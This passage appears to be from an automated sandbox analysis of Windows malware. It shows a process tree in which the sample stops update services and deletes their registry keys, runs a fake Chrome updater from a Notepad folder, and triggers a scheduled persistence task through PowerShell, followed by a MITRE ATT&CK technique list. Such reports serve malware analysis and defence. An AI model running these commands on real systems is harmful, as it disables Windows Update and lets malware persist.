    PID:4360
- - C:\Windows\System32\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:4340
- - C:\Windows\System32\sc.exe
    sc stop dosvc
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - Launches sc.exe
    PID:1688
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
    3⤵
    PID:896
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
    3⤵
    PID:4792
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
    3⤵
    - Modifies security service
    PID:1824
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
    3⤵
    PID:4360
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
    3⤵
    PID:2220
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#iqegjinl#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "NoteUpdateTaskMachineQC" } Else { "C:\Program Files\Notepad\Chrome\updater.exe" }
  2⤵
  PID:1664
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn NoteUpdateTaskMachineQC
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4424

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 412 -p 3644 -ip 3644
1⤵
PID:5080

C:\Users\Admin\AppData\Local\Temp\10180c8ca3\oneetx.exe
C:\Users\Admin\AppData\Local\Temp\10180c8ca3\oneetx.exe
1⤵
- Executes dropped EXE
PID:1404

C:\Program Files\Notepad\Chrome\updater.exe
"C:\Program Files\Notepad\Chrome\updater.exe"
1⤵
- Executes dropped EXE
PID:1876

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 520 -p 1308 -ip 1308
1⤵
PID:1620

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

Persistence

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Scheduled Task

Privilege Escalation

Scheduled Task

Defense Evasion

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Modify Registry

T1112

Credential Access

Credentials in Files

T1081

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery